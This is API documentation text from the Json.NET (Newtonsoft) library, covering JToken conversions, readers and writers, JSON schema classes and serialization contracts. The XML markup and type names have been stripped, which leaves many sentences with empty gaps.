from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from [] to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Creates a for this token. - - A that can be used to read this token and its descendants. - - - - Creates a from an object. - - The object that will be used to create . - A with the value of the specified object. - - - - Creates a from an object using the specified . - - The object that will be used to create . - The that will be used when reading the object. - A with the value of the specified object. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - Creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A , or null. - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - A . - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - The used to select tokens. - A . - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - The used to select tokens. - An of that contains the selected elements. - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A new instance of the . - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A object to configure cloning settings. - A new instance of the . - - - - Adds an object to the annotation list of this . - - The annotation to add. - - - - Get the first annotation object of the specified type from this . - - The type of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets the first annotation object of the specified type from this . - - The of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets a collection of annotations of the specified type for this . - - The type of the annotations to retrieve. - An that contains the annotations for this . - - - - Gets a collection of annotations of the specified type for this . - - The of the annotations to retrieve. - An of that contains the annotations that match the specified type for this . - - - - Removes the annotations of the specified type from this . - - The type of annotations to remove. - - - - Removes the annotations of the specified type from this . - - The of annotations to remove. - - - - Compares tokens to determine whether they are equal. - - - - - Determines whether the specified objects are equal. - - The first object of type to compare. - The second object of type to compare. - - true if the specified objects are equal; otherwise, false. - - - - - Returns a hash code for the specified object. - - The for which a hash code is to be returned. - A hash code for the specified object. - The type of is a reference type and is null. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Gets the at the reader's current position. - - - - - Initializes a new instance of the class. - - The token to read from. - - - - Initializes a new instance of the class. - - The token to read from. - The initial path of the token. It is prepended to the returned . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Gets the path of the current JSON token. - - - - - Specifies the type of token. - - - - - No token type has been set. - - - - - A JSON object. - - - - - A JSON array. - - - - - A JSON constructor. - - - - - A JSON object property. - - - - - A comment. - - - - - An integer value. - - - - - A float value. - - - - - A string value. - - - - - A boolean value. - - - - - A null value. - - - - - An undefined value. - - - - - A date value. - - - - - A raw JSON value. - - - - - A collection of bytes value. - - - - - A Guid value. - - - - - A Uri value. - - - - - A TimeSpan value. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets the at the writer's current position. - - - - - Gets the token being written. - - The token being written. - - - - Initializes a new instance of the class writing to the given . - - The container being written to. - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the underlying . - - - - - Closes this writer. - If is set to true, the JSON is auto-completed. - - - Setting to true has no additional effect, since the underlying is a type that cannot be closed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end. - - The token. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes a value. - An error will be raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Represents a value in JSON (string, integer, date, etc). - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Creates a comment with the given value. - - The value. - A comment with the given value. - - - - Creates a string with the given value. - - The value. - A string with the given value. - - - - Creates a null value. - - A null value. - - - - Creates a undefined value. - - A undefined value. - - - - Gets the node type for this . - - The type. - - - - Gets or sets the underlying token value. - - The underlying token value. - - - - Writes this token to a . - - A into which this method will write. - A collection of s which will be used when writing the token. - - - - Indicates whether the current object is equal to another object of the same type. - - - true if the current object is equal to the parameter; otherwise, false. - - An object to compare with this object. - - - - Determines whether the specified is equal to the current . - - The to compare with the current . - - true if the specified is equal to the current ; otherwise, false. - - - - - Serves as a hash function for a particular type. - - - A hash code for the current . - - - - - Returns a that represents this instance. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format provider. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - The format provider. - - A that represents this instance. - - - - - Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. - - An object to compare with this instance. - - A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: - Value - Meaning - Less than zero - This instance is less than . - Zero - This instance is equal to . - Greater than zero - This instance is greater than . - - - is not of the same type as this instance. - - - - - Specifies how line information is handled when loading JSON. - - - - - Ignore line information. - - - - - Load line information. - - - - - Specifies how JSON arrays are merged together. - - - - Concatenate arrays. - - - Union arrays, skipping items that already exist. - - - Replace all array items. - - - Merge array items together, matched by index. - - - - Specifies how null value properties are merged. - - - - - The content's null value properties will be ignored during merging. - - - - - The content's null value properties will be merged. - - - - - Specifies the member serialization options for the . - - - - - All public members are serialized by default. Members can be excluded using or . - This is the default member serialization mode. - - - - - Only members marked with or are serialized. - This member serialization mode can also be set by marking the class with . - - - - - All public and private fields are serialized. Members can be excluded using or . - This member serialization mode can also be set by marking the class with - and setting IgnoreSerializableAttribute on to false. - - - - - Specifies metadata property handling options for the . - - - - - Read metadata properties located at the start of a JSON object. - - - - - Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. - - - - - Do not try to read metadata properties. - - - - - Specifies missing member handling options for the . - - - - - Ignore a missing member and do not attempt to deserialize it. - - - - - Throw a when a missing member is encountered during deserialization. - - - - - Specifies null value handling options for the . - - - - - - - - - Include null values when serializing and deserializing objects. - - - - - Ignore null values when serializing and deserializing objects. - - - - - Specifies how object creation is handled by the . - - - - - Reuse existing objects, create new objects when needed. - - - - - Only reuse existing objects. - - - - - Always create new objects. - - - - - Specifies reference handling options for the . - Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . - - - - - - - - Do not preserve references when serializing types. - - - - - Preserve references when serializing into a JSON object structure. - - - - - Preserve references when serializing into a JSON array structure. - - - - - Preserve references when serializing. - - - - - Specifies reference loop handling options for the . - - - - - Throw a when a loop is encountered. - - - - - Ignore loop references and do not serialize. - - - - - Serialize loop references. - - - - - Indicating whether a property is required. - - - - - The property is not required. The default state. - - - - - The property must be defined in JSON but can be a null value. - - - - - The property must be defined in JSON and cannot be a null value. - - - - - The property is not required but it cannot be a null value. - - - - - - Contains the JSON schema extension methods. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - true if the specified is valid; otherwise, false. - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - When this method returns, contains any error messages generated while validating. - - true if the specified is valid; otherwise, false. - - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - The validation event handler. - - - - - An in-memory representation of a JSON Schema. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the id. - - - - - Gets or sets the title. - - - - - Gets or sets whether the object is required. - - - - - Gets or sets whether the object is read-only. - - - - - Gets or sets whether the object is visible to users. - - - - - Gets or sets whether the object is transient. - - - - - Gets or sets the description of the object. - - - - - Gets or sets the types of values allowed by the object. - - The type. - - - - Gets or sets the pattern. - - The pattern. - - - - Gets or sets the minimum length. - - The minimum length. - - - - Gets or sets the maximum length. - - The maximum length. - - - - Gets or sets a number that the value should be divisible by. - - A number that the value should be divisible by. - - - - Gets or sets the minimum. - - The minimum. - - - - Gets or sets the maximum. - - The maximum. - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). - - A flag indicating whether the value can not equal the number defined by the minimum attribute (). - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). - - A flag indicating whether the value can not equal the number defined by the maximum attribute (). - - - - Gets or sets the minimum number of items. - - The minimum number of items. - - - - Gets or sets the maximum number of items. - - The maximum number of items. - - - - Gets or sets the of items. - - The of items. - - - - Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . - - - true if items are validated using their array position; otherwise, false. - - - - - Gets or sets the of additional items. - - The of additional items. - - - - Gets or sets a value indicating whether additional items are allowed. - - - true if additional items are allowed; otherwise, false. - - - - - Gets or sets whether the array items must be unique. - - - - - Gets or sets the of properties. - - The of properties. - - - - Gets or sets the of additional properties. - - The of additional properties. - - - - Gets or sets the pattern properties. - - The pattern properties. - - - - Gets or sets a value indicating whether additional properties are allowed. - - - true if additional properties are allowed; otherwise, false. - - - - - Gets or sets the required property if this property is present. - - The required property if this property is present. - - - - Gets or sets the a collection of valid enum values allowed. - - A collection of valid enum values allowed. - - - - Gets or sets disallowed types. - - The disallowed types. - - - - Gets or sets the default value. - - The default value. - - - - Gets or sets the collection of that this schema extends. - - The collection of that this schema extends. - - - - Gets or sets the format. - - The format. - - - - Initializes a new instance of the class. - - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The object representing the JSON Schema. - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The to use when resolving schema references. - The object representing the JSON Schema. - - - - Load a from a string that contains JSON Schema. - - A that contains JSON Schema. - A populated from the string that contains JSON Schema. - - - - Load a from a string that contains JSON Schema using the specified . - - A that contains JSON Schema. - The resolver. - A populated from the string that contains JSON Schema. - - - - Writes this schema to a . - - A into which this method will write. - - - - Writes this schema to a using the specified . - - A into which this method will write. - The resolver used. - - - - Returns a that represents the current . - - - A that represents the current . - - - - - - Returns detailed information about the schema exception. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - - Generates a from a specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets how undefined schemas are handled by the serializer. - - - - - Gets or sets the contract resolver. - - The contract resolver. - - - - Generate a from the specified type. - - The type to generate a from. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - - Resolves from an id. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the loaded schemas. - - The loaded schemas. - - - - Initializes a new instance of the class. - - - - - Gets a for the specified reference. - - The id. - A for the specified reference. - - - - - The value types allowed by the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - No type specified. - - - - - String type. - - - - - Float type. - - - - - Integer type. - - - - - Boolean type. - - - - - Object type. - - - - - Array type. - - - - - Null type. - - - - - Any type. - - - - - - Specifies undefined schema Id handling options for the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Do not infer a schema Id. - - - - - Use the .NET type name as the schema Id. - - - - - Use the assembly qualified .NET type name as the schema Id. - - - - - - Returns detailed information related to the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the associated with the validation error. - - The JsonSchemaException associated with the validation error. - - - - Gets the path of the JSON location where the validation error occurred. - - The path of the JSON location where the validation error occurred. - - - - Gets the text description corresponding to the validation error. - - The text description. - - - - - Represents the callback method that will handle JSON schema validation events and the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - A camel case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Resolves member mappings for a type, camel casing property names. - - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used by to resolve a for a given . - - - - - Gets a value indicating whether members are being get and set using dynamic code generation. - This value is determined by the runtime permissions available. - - - true if using dynamic code generation; otherwise, false. - - - - - Gets or sets the default members search flags. - - The default members search flags. - - - - Gets or sets a value indicating whether compiler generated members should be serialized. - - - true if serialized compiler generated members; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. - - - true if the interface will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. - - - true if the attribute will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. - - - true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. - - - true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. - - The naming strategy used to resolve how property names and dictionary keys are serialized. - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Gets the serializable members for the type. - - The type to get serializable members for. - The serializable members for the type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates the constructor parameters. - - The constructor to create properties for. - The type's member properties. - Properties for the given . - - - - Creates a for the given . - - The matching member property. - The constructor parameter. - A created for the given . - - - - Resolves the default for the contract. - - Type of the object. - The contract's default . - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Determines which contract type is created for the given type. - - Type of the object. - A for the given type. - - - - Creates properties for the given . - - The type to create properties for. - /// The member serialization mode for the type. - Properties for the given . - - - - Creates the used by the serializer to get and set values from a member. - - The member. - The used by the serializer to get and set values from a member. - - - - Creates a for the given . - - The member's parent . - The member to create a for. - A created for the given . - - - - Resolves the name of the property. - - Name of the property. - Resolved name of the property. - - - - Resolves the name of the extension data. By default no changes are made to extension data names. - - Name of the extension data. - Resolved name of the extension data. - - - - Resolves the key of the dictionary. By default is used to resolve dictionary keys. - - Key of the dictionary. - Resolved key of the dictionary. - - - - Gets the resolved name of the property. - - Name of the property. - Name of the property. - - - - The default naming strategy. Property names and dictionary keys are unchanged. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - The default serialization binder used when resolving and loading classes from type names. - - - - - Initializes a new instance of the class. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - The type of the object the formatter creates a new instance of. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer that writes to the application's instances. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides information surrounding an error. - - - - - Gets the error. - - The error. - - - - Gets the original object that caused the error. - - The original object that caused the error. - - - - Gets the member that caused the error. - - The member that caused the error. - - - - Gets the path of the JSON location where the error occurred. - - The path of the JSON location where the error occurred. - - - - Gets or sets a value indicating whether this is handled. - - true if handled; otherwise, false. - - - - Provides data for the Error event. - - - - - Gets the current object the error event is being raised against. - - The current object the error event is being raised against. - - - - Gets the error context. - - The error context. - - - - Initializes a new instance of the class. - - The current object. - The error context. - - - - Provides methods to get attributes. - - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Used by to resolve a for a given . - - - - - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used to resolve references when serializing and deserializing JSON by the . - - - - - Resolves a reference to its object. - - The serialization context. - The reference to resolve. - The object that was resolved from the reference. - - - - Gets the reference for the specified object. - - The serialization context. - The object to get a reference for. - The reference to the object. - - - - Determines whether the specified object is referenced. - - The serialization context. - The object to test for a reference. - - true if the specified object is referenced; otherwise, false. - - - - - Adds a reference to the specified object. - - The serialization context. - The reference. - The object to reference. - - - - Allows users to control class loading and mandate what class to load. - - - - - When implemented, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When implemented, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - The that will be used to filter the trace messages passed to the writer. - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Provides methods to get and set values. - - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Contract details for a used by the . - - - - - Gets the of the collection items. - - The of the collection items. - - - - Gets a value indicating whether the collection type is a multidimensional array. - - true if the collection type is a multidimensional array; otherwise, false. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the collection values. - - true if the creator has a parameter with the collection values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the default collection items . - - The converter. - - - - Gets or sets a value indicating whether the collection items preserve object references. - - true if collection items preserve object references; otherwise, false. - - - - Gets or sets the collection item reference loop handling. - - The reference loop handling. - - - - Gets or sets the collection item type name handling. - - The type name handling. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Handles serialization callback events. - - The object that raised the callback event. - The streaming context. - - - - Handles serialization error callback events. - - The object that raised the callback event. - The streaming context. - The error context. - - - - Sets extension data for an object during deserialization. - - The object to set extension data on. - The extension data key. - The extension data value. - - - - Gets extension data for an object during serialization. - - The object to set extension data on. - - - - Contract details for a used by the . - - - - - Gets the underlying type for the contract. - - The underlying type for the contract. - - - - Gets or sets the type created during deserialization. - - The type created during deserialization. - - - - Gets or sets whether this type contract is serialized as a reference. - - Whether this type contract is serialized as a reference. - - - - Gets or sets the default for this contract. - - The converter. - - - - Gets the internally resolved for the contract's type. - This converter is used as a fallback converter when no other converter is resolved. - Setting will always override this converter. - - - - - Gets or sets all methods called immediately after deserialization of the object. - - The methods called immediately after deserialization of the object. - - - - Gets or sets all methods called during deserialization of the object. - - The methods called during deserialization of the object. - - - - Gets or sets all methods called after serialization of the object graph. - - The methods called after serialization of the object graph. - - - - Gets or sets all methods called before serialization of the object. - - The methods called before serialization of the object. - - - - Gets or sets all method called when an error is thrown during the serialization of the object. - - The methods called when an error is thrown during the serialization of the object. - - - - Gets or sets the default creator method used to create the object. - - The default creator method used to create the object. - - - - Gets or sets a value indicating whether the default creator is non-public. - - true if the default object creator is non-public; otherwise, false. - - - - Contract details for a used by the . - - - - - Gets or sets the dictionary key resolver. - - The dictionary key resolver. - - - - Gets the of the dictionary keys. - - The of the dictionary keys. - - - - Gets the of the dictionary values. - - The of the dictionary values. - - - - Gets or sets the function used to create the object. When set this function will override . - - The function used to create the object. - - - - Gets a value indicating whether the creator has a parameter with the dictionary values. - - true if the creator has a parameter with the dictionary values; otherwise, false. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object constructor. - - The object constructor. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Gets or sets the object member serialization. - - The member object serialization. - - - - Gets or sets the missing member handling used when deserializing this object. - - The missing member handling. - - - - Gets or sets a value that indicates whether the object's properties are required. - - - A value indicating whether the object's properties are required. - - - - - Gets or sets how the object's properties with null values are handled during serialization and deserialization. - - How the object's properties with null values are handled during serialization and deserialization. - - - - Gets the object's properties. - - The object's properties. - - - - Gets a collection of instances that define the parameters used with . - - - - - Gets or sets the function used to create the object. When set this function will override . - This function is called with a collection of arguments which are defined by the collection. - - The function used to create the object. - - - - Gets or sets the extension data setter. - - - - - Gets or sets the extension data getter. - - - - - Gets or sets the extension data value type. - - - - - Gets or sets the extension data name resolver. - - The extension data name resolver. - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Contract details for a used by the . - - - - - Initializes a new instance of the class. - - The underlying type for the contract. - - - - Maps a JSON property to a .NET member or constructor parameter. - - - - - Gets or sets the name of the property. - - The name of the property. - - - - Gets or sets the type that declared this property. - - The type that declared this property. - - - - Gets or sets the order of serialization of a member. - - The numeric order of serialization. - - - - Gets or sets the name of the underlying member or parameter. - - The name of the underlying member or parameter. - - - - Gets the that will get and set the during serialization. - - The that will get and set the during serialization. - - - - Gets or sets the for this property. - - The for this property. - - - - Gets or sets the type of the property. - - The type of the property. - - - - Gets or sets the for the property. - If set this converter takes precedence over the contract converter for the property type. - - The converter. - - - - Gets or sets the member converter. - - The member converter. - - - - Gets or sets a value indicating whether this is ignored. - - true if ignored; otherwise, false. - - - - Gets or sets a value indicating whether this is readable. - - true if readable; otherwise, false. - - - - Gets or sets a value indicating whether this is writable. - - true if writable; otherwise, false. - - - - Gets or sets a value indicating whether this has a member attribute. - - true if has a member attribute; otherwise, false. - - - - Gets the default value. - - The default value. - - - - Gets or sets a value indicating whether this is required. - - A value indicating whether this is required. - - - - Gets a value indicating whether has a value specified. - - - - - Gets or sets a value indicating whether this property preserves object references. - - - true if this instance is reference; otherwise, false. - - - - - Gets or sets the property null value handling. - - The null value handling. - - - - Gets or sets the property default value handling. - - The default value handling. - - - - Gets or sets the property reference loop handling. - - The reference loop handling. - - - - Gets or sets the property object creation handling. - - The object creation handling. - - - - Gets or sets or sets the type name handling. - - The type name handling. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets a predicate used to determine whether the property should be deserialized. - - A predicate used to determine whether the property should be deserialized. - - - - Gets or sets a predicate used to determine whether the property should be serialized. - - A predicate used to determine whether the property should be serialized. - - - - Gets or sets an action used to set whether the property has been deserialized. - - An action used to set whether the property has been deserialized. - - - - Returns a that represents this instance. - - - A that represents this instance. - - - - - Gets or sets the converter used when serializing the property's collection items. - - The collection's items converter. - - - - Gets or sets whether this property's collection items are serialized as a reference. - - Whether this property's collection items are serialized as a reference. - - - - Gets or sets the type name 